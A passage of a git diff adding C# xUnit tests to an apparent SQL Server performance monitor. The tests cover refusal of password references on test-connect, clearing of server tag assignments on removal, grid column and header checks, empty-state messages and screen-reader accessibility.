+        Assert.Null(await DarlingCommandExecutor.TestConnectReferenceRefusalAsync(TestedWith("none"), stored.ReadAsync, CancellationToken.None));
+        Assert.Null(await DarlingCommandExecutor.TestConnectReferenceRefusalAsync(server, stored.ReadAsync, CancellationToken.None));
+    }
+
+
+    [Fact]
+    public async Task TestConnect_AReferenceNoStoredServerHolds_IsRefused()
+    {
+        var stored = new StoredAddresses();
+
+        var refusal = await DarlingCommandExecutor.TestConnectReferenceRefusalAsync(
+            Tested("alpha-01.example.test", "file:C:\\x"), stored.ReadAsync, CancellationToken.None);
+
+        Assert.Equal(DarlingCommandExecutor.TestConnectPasswordNeededText, refusal);
+        Assert.DoesNotContain("C:\\x", refusal, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task TestConnect_AReferenceInThePlainPasswordSlot_IsAlwaysRefused_WithoutAskingTheStore()
+    {
+        var stored = new StoredAddresses();
+        stored.Rows.Add(StoredRow("alpha-01.example.test"));
+
+        var refusal = await DarlingCommandExecutor.TestConnectReferenceRefusalAsync(
+            Tested("alpha-01.example.test", null, password: "env:X"), stored.ReadAsync, CancellationToken.None);
+
+        Assert.Equal(RefusalSentence, refusal);
+        Assert.Empty(stored.Asked);
+    }
+
+    [Theory]
+    [InlineData(null)]
+    [InlineData("Dpapi-Blob-Base64+/==")]
+    public async Task TestConnect_ADpapiBlobOrNoPassword_IsNotAskedAbout_AndTheStoreIsNotRead(string? encrypted)
+    {
+        var stored = new StoredAddresses();
+
+        Assert.Null(await DarlingCommandExecutor.TestConnectReferenceRefusalAsync(
+            Tested("anywhere.example.test", encrypted), stored.ReadAsync, CancellationToken.None));
+        Assert.Empty(stored.Asked);
+    }
+
+    /* ---------------- the configuration file still takes references ---------------- */
+
+    [Fact]
+    public void TheConfigurationFile_StillAcceptsAReference_AndMarksItDeclaredByTheFile()
+    {
+        var config = DarlingConfig.Parse(
+            "{ \"servers\": [ { \"host\": \"sql01\", \"auth\": \"sql\", \"username\": \"monitor\", \"encryptedPassword\": \"env:SOME_FILE_DECLARED_REF\" } ] }");
+
+        var server = Assert.Single(config.Servers);
+        Assert.Equal("env:SOME_FILE_DECLARED_REF", server.EncryptedPassword);
+        Assert.True(server.EncryptedPasswordDeclaredByFile);
+    }
+}
diff --git a/Darling/Darling.Tests/ServerRemovalClearsTagsLiveTests.cs b/Darling/Darling.Tests/ServerRemovalClearsTagsLiveTests.cs
new file mode 100644
index 0000000000..aea6b6cf82
--- /dev/null
+++ b/Darling/Darling.Tests/ServerRemovalClearsTagsLiveTests.cs
@@ -0,0 +1,110 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Text.Json;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: this class mints its own scratch database through ScratchPostgres and touches nothing on the
+   shared one. It seeds fixed server ids and reads no wall clock. */
+
+/// <summary>Removing a server also removes its fleet-tag assignments (#5085). <c>server_id</c> is a fixed hash of
+/// the connection, so assignments left behind would come back when the same server is added again and would put
+/// it back inside tag-scoped alert rules. Both remove paths are driven through their product entry points: the
+/// MCP <c>remove_server</c> tool and the Viewer's <c>DeleteMonitoredServerAsync</c>.</summary>
+public sealed class ServerRemovalClearsTagsLiveTests
+{
+    private const int KeptId = 7101;
+    private const int RemovedId = 7102;
+
+    private static async Task<(ScratchPostgres Scratch, NpgsqlDataSource Source, string ConnectionString)?> SeedAsync()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live server-removal tag test (it mints its own scratch database).");
+
+        var ct = TestContext.Current.CancellationToken;
+        var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        var connectionString = new NpgsqlConnectionStringBuilder(scratch.ConnectionString) { SearchPath = PgSchemaGenerator.SearchPath }.ConnectionString;
+        await using (var connection = new NpgsqlConnection(connectionString))
+        {
+            await connection.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(connection, null, ct);
+        }
+
+        var source = NpgsqlDataSource.Create(connectionString);
+        await ExecAsync(source, $@"INSERT INTO config_monitored_servers (server_id, name, host) VALUES
+            ({KeptId}, 'tagkeep-host', 'tagkeep-host'), ({RemovedId}, 'tagdrop-host', 'tagdrop-host')");
+        var store = new ServerTagStore(source, 30);
+        var ct2 = TestContext.Current.CancellationToken;
+        var prod = Assert.IsType<ServerTagWriteResult.Ok>(await store.CreateAsync("Prod", null, null, ct2)).Tag!;
+        var east = Assert.IsType<ServerTagWriteResult.Ok>(await store.CreateAsync("East", null, null, ct2)).Tag!;
+        foreach (var tag in new[] { prod, east })
+        {
+            await store.AssignAsync(tag.Id, [KeptId, RemovedId], ct2);
+        }
+
+        return (scratch, source, connectionString);
+    }
+
+    private static async Task ExecAsync(NpgsqlDataSource source, string sql)
+    {
+        await using var command = source.CreateCommand(sql);
+        await command.ExecuteNonQueryAsync(TestContext.Current.CancellationToken);
+    }
+
+    private static async Task<int> MapRowsAsync(NpgsqlDataSource source, int serverId)
+    {
+        await using var command = source.CreateCommand($"SELECT count(*) FROM server_tag_map WHERE server_id = {serverId}");
+        return Convert.ToInt32(await command.ExecuteScalarAsync(TestContext.Current.CancellationToken));
+    }
+
+    [Fact]
+    public async Task TheMcpRemoveServerTool_DropsTheServersTagAssignments_AndNoOtherServers()
+    {
+        var seeded = await SeedAsync();
+        var (scratch, source, _) = seeded!.Value;
+        await using var _s = scratch;
+        await using var _d = source;
+        Assert.Equal(2, await MapRowsAsync(source, RemovedId));
+
+        using var doc = JsonDocument.Parse(await DarlingMcpServerAdminTools.RemoveServer(source, "tagdrop-host"));
+        Assert.Equal("removed", doc.RootElement.GetProperty("status").GetString());
+
+        Assert.Equal(0, await MapRowsAsync(source, RemovedId));
+        Assert.Equal(2, await MapRowsAsync(source, KeptId));
+    }
+
+    [Fact]
+    public async Task TheViewersRemove_DropsTheServersTagAssignments_AndNoOtherServers()
+    {
+        var seeded = await SeedAsync();
+        var (scratch, source, connectionString) = seeded!.Value;
+        await using var _s = scratch;
+        await using var _d = source;
+        Assert.Equal(2, await MapRowsAsync(source, RemovedId));
+
+        await using (var viewer = new ViewerDataService(connectionString))
+        {
+            await viewer.DeleteMonitoredServerAsync(RemovedId, TestContext.Current.CancellationToken);
+        }
+
+        Assert.Equal(0, await MapRowsAsync(source, RemovedId));
+        Assert.Equal(2, await MapRowsAsync(source, KeptId));
+        Assert.Equal(0L, Convert.ToInt64(await (source.CreateCommand($"SELECT count(*) FROM config_monitored_servers WHERE server_id = {RemovedId}")).ExecuteScalarAsync(TestContext.Current.CancellationToken)));
+    }
+}
diff --git a/Darling/Darling.Tests/ServerTabColumnGroupsPinTests.cs b/Darling/Darling.Tests/ServerTabColumnGroupsPinTests.cs
new file mode 100644
index 0000000000..b2b95023e1
--- /dev/null
+++ b/Darling/Darling.Tests/ServerTabColumnGroupsPinTests.cs
@@ -0,0 +1,47 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.IO;
+using System.Linq;
+using System.Text.RegularExpressions;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The two System Events grids with the most columns on the web dashboard use the shared column groups (#4843): every
+/// group named in a grid's group list marks at least one column, every column group is named in the list, and the
+/// default groups are among the listed ones.
+/// </summary>
+[Trait("Stage", "Guard")]
+public sealed class ServerTabColumnGroupsPinTests
+{
+    private static string Js() => File.ReadAllText(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "server-tabs.js"));
+
+    [Theory]
+    [InlineData("Memory Conditions", "MEMORY_CONDITION_COLUMNS", "MEMORY_CONDITION_GROUPS")]
+    [InlineData("Memory Node OOM", "MEMORY_OOM_COLUMNS", "MEMORY_OOM_GROUPS")]
+    public void TheWideGrid_GroupsItsColumns_AndItsGroupListMatches(string title, string columns, string groups)
+    {
+        var js = Js();
+        var cols = Regex.Match(js, "const " + columns + @" = \[(.*?)\n\];", RegexOptions.Singleline).Groups[1].Value;
+        var used = Regex.Matches(cols, "group: \"([^\"]+)\"").Select(m => m.Groups[1].Value).Distinct().ToArray();
+        var decl = Regex.Match(js, "const " + groups + @" = \{ groups: \[([^\]]*)\], defaultGroups: \[([^\]]*)\] \};");
+        Assert.True(decl.Success, groups + " must declare groups and defaultGroups.");
+        var listed = Regex.Matches(decl.Groups[1].Value, "\"([^\"]+)\"").Select(m => m.Groups[1].Value).ToArray();
+        var defaults = Regex.Matches(decl.Groups[2].Value, "\"([^\"]+)\"").Select(m => m.Groups[1].Value).ToArray();
+        Assert.Equal(listed.OrderBy(x => x), used.OrderBy(x => x));
+        Assert.NotEmpty(defaults);
+        Assert.All(defaults, d => Assert.Contains(d, listed));
+        Assert.Contains("group: ", cols);
+        // The constant is the last argument of THIS grid's own table() call, next to its own columns constant.
+        var call = Regex.Match(js, "table\\(\\s*\"" + title + "\",(?:(?!\\btable\\().)*?\\b" + columns + @",(?:(?!\btable\().)*?,\s*" + groups + @"\s*\)", RegexOptions.Singleline);
+        Assert.True(call.Success, title + "'s table() call must pass " + groups + " as its last argument.");
+    }
+}
diff --git a/Darling/Darling.Tests/ServerTabEmptyStatesAndHeadersTests.cs b/Darling/Darling.Tests/ServerTabEmptyStatesAndHeadersTests.cs
new file mode 100644
index 0000000000..b8ac2b5de1
--- /dev/null
+++ b/Darling/Darling.Tests/ServerTabEmptyStatesAndHeadersTests.cs
@@ -0,0 +1,124 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.RegularExpressions;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The server tabs of Lite and of the Darling Viewer (a copy of Lite's) say why a grid or chart is empty, and their
+/// Configuration grids show whole column headers. The walk of the release found a blank Trace Flags grid, a Query Store
+/// Regressions grid that said "No data for the selected time range." at Last 7 days while Last 24 hours listed rows, Configuration
+/// headers cut off at the default width ("Configured Valu", "Dynami", "Compat Le"), and two Blocking charts that looked
+/// broken because they hold points only where a collection found a waiting task.
+/// </summary>
+[Trait("Reads", "Lite")]
+public sealed class ServerTabEmptyStatesAndHeadersTests
+{
+    private static string LiteXaml() => RepoFile.ReadRepoFile("Lite", "Controls", "ServerTab.xaml");
+
+    private static string ViewerXaml() => RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerServerTab.xaml");
+
+    public static IEnumerable<object[]> BothTabs() => new[] { new object[] { "Lite" }, new object[] { "Viewer" } };
+
+    private static string Xaml(string app) => app == "Lite" ? LiteXaml() : ViewerXaml();
+
+    /// <summary>One text column of the Configuration tab: its header words and its Width in the XAML.</summary>
+    private static List<(string Header, int Width)> ConfigurationColumns(string xaml)
+    {
+        var start = xaml.IndexOf("x:Name=\"ServerConfigGrid\"", StringComparison.Ordinal);
+        var end = xaml.IndexOf("x:Name=\"TraceFlagsNoDataMessage\"", StringComparison.Ordinal);
+        Assert.True(start > 0 && end > start, "the Configuration tab's grids were not found");
+
+        return Regex.Matches(
+                xaml[start..end],
+                @"<DataGridTextColumn\b[^>]*?\bWidth=""(\d+)""[^>]*>\s*<DataGridTextColumn\.Header>.*?<TextBlock Text=""([^""]+)""",
+                RegexOptions.Singleline)
+            .Select(m => (m.Groups[2].Value, int.Parse(m.Groups[1].Value, System.Globalization.CultureInfo.InvariantCulture)))
+            .ToList();
+    }
+
+    /// <summary>
+    /// A bold header with a filter button needs about 6 pixels a character plus 50 for the button and the padding. The walk saw
+    /// "Configured Value" cut to 15 characters at 130, "Dynamic" to 6 at 80 and "Compat Level" to 9 at 100.
+    /// </summary>
+    [Theory]
+    [MemberData(nameof(BothTabs))]
+    public void ConfigurationHeaders_FitTheirColumns(string app)
+    {
+        var columns = ConfigurationColumns(Xaml(app));
+
+        Assert.True(columns.Count >= 30, $"{app}: expected the Configuration grids' columns, found {columns.Count}");
+
+        var clipped = columns
+            .Where(c => c.Width < (c.Header.Length * 6) + 50)
+            .Select(c => $"{c.Header} ({c.Width})")
+            .ToList();
+
+        Assert.True(clipped.Count == 0, $"{app}: headers wider than their columns: {string.Join(", ", clipped)}");
+    }
+
+    [Theory]
+    [MemberData(nameof(BothTabs))]
+    public void TraceFlagsGrid_SaysNoTraceFlagsAreEnabled_WhenItHasNoRows(string app)
+    {
+        var xaml = Xaml(app);
+        var at = xaml.IndexOf("x:Name=\"TraceFlagsNoDataMessage\"", StringComparison.Ordinal);
+        Assert.True(at > 0);
+        var element = xaml[at..xaml.IndexOf("/>", at, StringComparison.Ordinal)];
+
+        Assert.Contains("Text=\"No trace flags are enabled on this server.\"", element, StringComparison.Ordinal);
+
+        var code = app == "Lite"
+            ? RepoFile.ReadRepoFile("Lite", "Controls", "ServerTab.Refresh.cs")
+            : RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerServerTab.Filters.cs");
+        var call = Regex.Match(code, @"ShowEngineGap(?:Async)?\(TraceFlagsNoDataMessage[^;]*;");
+
+        Assert.True(call.Success, $"{app}: the Trace Flags load no longer calls the engine-gap step");
+        Assert.Contains("keepsOwnEmptyText: true", call.Value, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void QueryStoreRegressionsGrid_SaysWhyItCanBeEmpty()
+    {
+        var text = ViewerServerTab.QueryStoreRegressionsEmptyText;
+
+        Assert.Contains("7 days before", text, StringComparison.Ordinal);
+        Assert.DoesNotContain("No data for the selected time range", text, StringComparison.Ordinal);
+
+        var filters = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerServerTab.Filters.cs");
+        Assert.Contains("EmptyState.SetText(QueryStoreRegressionsGrid, QueryStoreRegressionsEmptyText)", filters, StringComparison.Ordinal);
+    }
+
+    /// <summary>Lite has no Query Store Regressions grid (only the MCP tool reads that comparison), so only the Viewer needs the words.</summary>
+    [Fact]
+    public void Lite_HasNoQueryStoreRegressionsGrid()
+    {
+        Assert.DoesNotContain("QueryStoreRegressionsGrid", LiteXaml(), StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [MemberData(nameof(BothTabs))]
+    public void CurrentWaitsCharts_SayPointsAppearOnlyWhereTasksWereWaiting(string app)
+    {
+        var xaml = Xaml(app);
+        var at = xaml.IndexOf("x:Name=\"CurrentWaitsSparseNote\"", StringComparison.Ordinal);
+        Assert.True(at > 0, $"{app}: the Current Waits tab has no sparse-data note");
+
+        var tab = xaml.IndexOf("<TabItem Header=\"Current Waits\">", StringComparison.Ordinal);
+        var tabEnd = xaml.IndexOf("</TabItem>", tab, StringComparison.Ordinal);
+        Assert.InRange(at, tab, tabEnd);
+
+        Assert.Contains("Points appear only when a collection found waiting or blocked tasks.", xaml[at..], StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/ServerTabGridColumnPinTests.cs b/Darling/Darling.Tests/ServerTabGridColumnPinTests.cs
new file mode 100644
index 0000000000..64ff87ede3
--- /dev/null
+++ b/Darling/Darling.Tests/ServerTabGridColumnPinTests.cs
@@ -0,0 +1,78 @@
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text.RegularExpressions;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Pins the Query Store Regressions, Plan Corrections and Long Queries grids on the server page to the field
+/// names their reads return: a column key the read does not emit renders an empty column, so each key is
+/// checked against the tool source.
+/// </summary>
+[Trait("Stage", "Guard")]
+public sealed class ServerTabGridColumnPinTests
+{
+    private static string ServerTabsJs => ReadRepoFile(Path.Combine(
+        "Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "server-tabs.js")).ReplaceLineEndings("\n");
+
+    private static string Tool(string file) => ReadRepoFile(Path.Combine(
+        "Darling", "PerformanceMonitor.Darling.Service", "Mcp", file)).ReplaceLineEndings("\n");
+
+    private static List<(string Key, string Line)> Columns(string constant)
+    {
+        var js = ServerTabsJs;
+        var start = js.IndexOf("const " + constant + " = [", StringComparison.Ordinal);
+        Assert.True(start >= 0, constant);
+        var end = js.IndexOf("\n];", start, StringComparison.Ordinal);
+        return Regex.Matches(js[start..end], @"^\s*\{ key: ""([a-z_.]+)""[^\n]*$", RegexOptions.Multiline)
+            .Select(m => (m.Groups[1].Value, m.Value)).ToList();
+    }
+
+    private static void EveryKeyIsReturnedBy(string constant, string toolFile, params string[] expected)
+    {
+        var tool = Tool(toolFile);
+        var cols = Columns(constant);
+        foreach (var (key, _) in cols)
+            Assert.True(Regex.IsMatch(tool, @"\b" + key + @"\s*="), $"{constant}: '{key}' is not a field of {toolFile}");
+        foreach (var key in expected)
+            Assert.Contains(cols, c => c.Key == key);
+        Assert.Equal(cols.Count, cols.Select(c => c.Key).Distinct().Count());
+        // Numeric columns use numeric formats, never pre-formatted *_text strings.
+        Assert.DoesNotContain(cols, c => c.Key.EndsWith("_text", StringComparison.Ordinal) && c.Key != "query_text");
+    }
+
+    [Fact]
+    public void QueryStoreRegressions_CarriesBaseExecsAndBothReadsColumns() =>
+        EveryKeyIsReturnedBy("QUERY_STORE_REGRESSION_COLUMNS", "DarlingMcpQueryStoreRegressionTools.cs",
+            "baseline_exec_count", "baseline_reads", "recent_reads");
+
+    [Fact]
+    public void PlanCorrections_CarriesEveryFieldTheReadReturnsExceptTheDuplicatedFlags() =>
+        EveryKeyIsReturnedBy("PLAN_CORRECTION_COLUMNS", "DarlingMcpPlanCorrectionTools.cs",
+            "regressed_plan_id", "last_good_plan_id", "last_good_plan_forcing_type",
+            "last_good_plan_force_failure_reason", "regressed_plan_execution_count",
+            "regressed_plan_cpu_time_average_ms", "last_good_plan_execution_count",
+            "last_good_plan_cpu_time_average_ms", "valid_since", "last_refresh",
+            "execute_action_initiated_by", "execute_action_initiated_time",
+            "revert_action_initiated_by", "revert_action_initiated_time", "recommendation_state_reason");
+
+    [Fact]
+    public void PlanCorrections_TimestampColumnsAreInstants()
+    {
+        foreach (var (key, line) in Columns("PLAN_CORRECTION_COLUMNS"))
+            if (key is "valid_since" or "last_refresh" || key.EndsWith("_time", StringComparison.Ordinal))
+                Assert.Contains("format: \"time\"", line);
+    }
+
+    [Fact]
+    public void LongQueries_CarriesEventTypeReadsWritesHashAndLoginButNoHost()
+    {
+        EveryKeyIsReturnedBy("LONG_QUERY_COLUMNS", "DarlingMcpLongQueryTools.cs",
+            "event_type", "logical_reads", "physical_reads", "writes", "query_hash", "server_principal_name");
+        Assert.DoesNotContain(Columns("LONG_QUERY_COLUMNS"), c => c.Key.Contains("host", StringComparison.Ordinal));
+    }
+}
diff --git a/Darling/Darling.Tests/ServerTabToolbarAndTooltipsTests.cs b/Darling/Darling.Tests/ServerTabToolbarAndTooltipsTests.cs
new file mode 100644
index 0000000000..5ae2751fc7
--- /dev/null
+++ b/Darling/Darling.Tests/ServerTabToolbarAndTooltipsTests.cs
@@ -0,0 +1,223 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.RegularExpressions;
+using System.Threading;
+using System.Windows.Automation.Peers;
+using PerformanceMonitor.Darling.Viewer;
+using PerformanceMonitor.PlanAnalysis;
+using PerformanceMonitor.Ui;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Release walk V10, D20, D21 and D22 in the server tab of Lite and of the Darling Viewer (a copy of Lite's): the four toolbar
+/// combos had no name for a screen reader, the Compare box was greyed on most tabs with a tooltip that WPF never shows on a
+/// disabled control, the Running Jobs tab with no running job was an empty grid with no words, the plan viewer's operator tooltips
+/// could not be read by a screen reader, and two FinOps column headers had no tooltip while their cells did.
+/// </summary>
+[Trait("Reads", "Lite")]
+public sealed class ServerTabToolbarAndTooltipsTests
+{
+    private static string Xaml(string app) => app == "Lite"
+        ? RepoFile.ReadRepoFile("Lite", "Controls", "ServerTab.xaml")
+        : RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerServerTab.xaml");
+
+    private static string FinOpsXaml(string app) => app == "Lite"
+        ? RepoFile.ReadRepoFile("Lite", "Controls", "FinOpsTab.xaml")
+        : RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "FinOpsTab.xaml");
+
+    public static IEnumerable<object[]> BothTabs() => new[] { new object[] { "Lite" }, new object[] { "Viewer" } };
+
+    /// <summary>The opening tag of the element with the given x:Name, up to its first '&gt;'.</summary>
+    private static string OpeningTag(string xaml, string name)
+    {
+        var at = xaml.IndexOf($"x:Name=\"{name}\"", StringComparison.Ordinal);
+        Assert.True(at > 0, $"{name} not found");
+        var start = xaml.LastIndexOf('<', at);
+        return xaml[start..(xaml.IndexOf('>', at) + 1)];
+    }
+
+    [Theory]
+    [MemberData(nameof(BothTabs))]
+    public void ToolbarCombos_HaveANameForAScreenReader(string app)
+    {
+        var expected = new Dictionary<string, string>
+        {
+            ["RangePicker"] = "Time range",
+            ["CompareToCombo"] = "Compare to",
+            ["AutoRefreshIntervalCombo"] = "Auto-refresh interval",
+            ["TimeDisplayModeBox"] = "Time display",
+        };
+
+        foreach (var (control, name) in expected)
+        {
+            Assert.Contains($"AutomationProperties.Name=\"{name}\"", OpeningTag(Xaml(app), control), StringComparison.Ordinal);
+        }
+    }
+
+    [Theory]
+    [MemberData(nameof(BothTabs))]
+    public void CompareBox_ShowsItsToolTipEvenWhenDisabled(string app)
+    {
+        Assert.Contains("ToolTipService.ShowOnDisabled=\"True\"", OpeningTag(Xaml(app), "CompareToCombo"), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void Viewer_CompareToolTip_NamesTheTabsItWorksOn()
+    {
+        var tip = ViewerServerTab.CompareUnavailableToolTip;
+
+        Assert.Contains("Top Queries", tip, StringComparison.Ordinal);
+        Assert.Contains("Top Procedures", tip, StringComparison.Ordinal);
+        Assert.Contains("Query Store", tip, StringComparison.Ordinal);
+        Assert.DoesNotContain("not available", tip, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void Lite_CompareToolTip_NamesTheTabsItWorksOn()
+    {
+        var code = RepoFile.ReadRepoFile("Lite", "Controls", "ServerTab.Comparison.cs");
+        var constant = Regex.Match(code, @"CompareUnavailableToolTip\s*=\s*""([^""]+)""");
+
+        Assert.True(constant.Success);
+        foreach (var tab in new[] { "Overview", "Top Queries", "Top Procedures", "Query Store" })
+        {
+            Assert.Contains(tab, constant.Groups[1].Value, StringComparison.Ordinal);
+        }
+
+        Assert.Contains("CompareToCombo.ToolTip = CompareUnavailableToolTip;", code, StringComparison.Ordinal);
+    }
+
+    /// <summary>The Viewer's Compare box used to stay enabled on every other tab once the Queries sub-tab had been on a supported one.</summary>
+    [Theory]
+    [InlineData(ViewerServerTab.QueriesInnerTabIndex, 3, true)]
+    [InlineData(ViewerServerTab.QueriesInnerTabIndex, 4, true)]
+    [InlineData(ViewerServerTab.QueriesInnerTabIndex, 5, true)]
+    [InlineData(ViewerServerTab.QueriesInnerTabIndex, 0, false)]
+    [InlineData(ViewerServerTab.QueriesInnerTabIndex, 9, false)]
+    [InlineData(0, 3, false)]
+    [InlineData(1, 3, false)]
+    [InlineData(ViewerServerTab.QueriesInnerTabIndex + 1, 4, false)]
+    public void Viewer_CompareWorksOnlyOnTheThreeQueriesGrids(int innerTab, int queriesSubTab, bool expected)
+    {
+        Assert.Equal(expected, ViewerServerTab.IsComparisonSupported(innerTab, queriesSubTab));
+    }
+
+    [Fact]
+    public void Viewer_InnerTabSwitch_UpdatesTheCompareBox()
+    {
+        var code = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerServerTab.xaml.cs");
+        var handler = code[code.IndexOf("private async void InnerTabs_SelectionChanged", StringComparison.Ordinal)..];
+
+        Assert.Contains("UpdateCompareDropdownState();", handler[..handler.IndexOf("RefreshActiveInnerTabAsync", StringComparison.Ordinal)], StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [MemberData(nameof(BothTabs))]
+    public void RunningJobsGrid_SaysNoJobIsRunning_WhenItHasNoRows(string app)
+    {
+        var xaml = Xaml(app);
+        Assert.Contains("Text=\"No SQL Agent jobs are running.\"", OpeningTag(xaml, "RunningJobsNoDataMessage"), StringComparison.Ordinal);
+
+        var code = app == "Lite"
+            ? RepoFile.ReadRepoFile("Lite", "Controls", "ServerTab.Refresh.cs")
+            : RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerServerTab.RunningJobs.cs");
+        var call = Regex.Match(code, @"ShowEngineGap(?:Async)?\(RunningJobsNoDataMessage[^;]*;", RegexOptions.Singleline);
+
+        Assert.True(call.Success, $"{app}: the Running Jobs load no longer calls the engine-gap step");
+        Assert.Contains("keepsOwnEmptyText:", call.Value, StringComparison.Ordinal);
+        Assert.DoesNotContain("keepsOwnEmptyText: false", call.Value, StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [MemberData(nameof(BothTabs))]
+    public void FinOpsFindingsGrid_DetailAndSavingsHeaders_HaveATooltip(string app)
+    {
+        var xaml = FinOpsXaml(app);
+
+        foreach (var header in new[] { "Detail", "Est. Savings ($/mo)" })
+        {
+            var at = xaml.IndexOf($"<DataGridTextColumn Header=\"{header}\"", StringComparison.Ordinal);
+            Assert.True(at > 0, $"{app}: column {header} not found");
+            var column = xaml[at..xaml.IndexOf("</DataGridTextColumn>", at, StringComparison.Ordinal)];
+
+            Assert.Matches(@"<DataGridTextColumn\.HeaderStyle>.*<Setter Property=""ToolTip"" Value=""[^""]{20,}""", column.Replace("\r\n", " ").Replace("\n", " "));
+        }
+    }
+
+    private static PlanNode Scan() => new()
+    {
+        PhysicalOp = "Clustered Index Scan",
+        LogicalOp = "Clustered Index Scan",
+        CostPercent = 62,
+        EstimatedOperatorCost = 1.5,
+        EstimatedTotalSubtreeCost = 2.5,
+        EstimateRows = 1200,
+        ObjectName = "Orders",
+        Warnings = { new PlanWarning { WarningType = "Missing Index", Message = "An index would help." } },
+    };
+
+    [Fact]
+    public void PlanOperatorBox_ExposesItsTooltipSummaryToAScreenReader()
+    {
+        var node = Scan();
+
+        var (name, help, isControl) = StaTestThread.Run(() =>
+        {
+            var box = new PlanNodeBorder();
+            System.Windows.Automation.AutomationProperties.SetName(box, PlanNodeBorder.OperatorName(node));
+            System.Windows.Automation.AutomationProperties.SetHelpText(box, PlanNodeBorder.Summary(node, null));
+            var peer = UIElementAutomationPeer.CreatePeerForElement(box);
+            Assert.NotNull(peer);
+            return (peer.GetName(), peer.GetHelpText(), peer.IsControlElement());
+        });
+
+        Assert.Equal("Clustered Index Scan", name);
+        Assert.True(isControl);
+        Assert.Contains("62%", help, StringComparison.Ordinal);
+        Assert.Contains("Estimated rows", help, StringComparison.Ordinal);
+        Assert.Contains("Orders", help, StringComparison.Ordinal);
+        Assert.Contains("1 warning: Missing Index", help, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void PlanOperatorSummary_PrefersActualRows_AndListsEachWarningTypeOnce()
+    {
+        var node = Scan();
+        node.HasActualStats = true;
+        node.ActualRows = 40;
+        node.ActualExecutions = 3;
+        var warnings = new List<PlanWarning>
+        {
+            new() { WarningType = "Spill" },
+            new() { WarningType = "Spill" },
+            new() { WarningType = "Implicit Conversion" },
+        };
+
+        var text = PlanNodeBorder.Summary(node, warnings);
+
+        Assert.Contains("actual rows 40", text, StringComparison.Ordinal);
+        Assert.Contains("actual executions 3", text, StringComparison.Ordinal);
+        Assert.Contains("3 warnings: Spill, Implicit Conversion.", text, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void PlanViewer_BuildsItsOperatorBoxesAsPlanNodeBorders_WithHelpText()
+    {
+        var code = RepoFile.ReadRepoFile("PerformanceMonitor.Ui", "PlanViewerControl.Rendering.cs");
+
+        Assert.Contains("var border = new PlanNodeBorder", code, StringComparison.Ordinal);
+        Assert.Equal(2, Regex.Matches(code, @"AutomationProperties\.SetHelpText\(border, PlanNodeBorder\.Summary").Count);
+        Assert.Contains("AutomationProperties.SetName(border, PlanNodeBorder.OperatorName(node))", code, StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/ServerTagCoverageTests.cs b/Darling/Darling.Tests/ServerTagCoverageTests.cs
new file mode 100644
index 0000000000..0139d9e566
--- /dev/null
+++ b/Darling/Darling.Tests/ServerTagCoverageTests.cs
@@ -0,0 +1,106 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.Collections.Generic;
+using System.Linq;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>Which custom alert rules a tag change affects (#5085), by diffing two snapshots.</summary>
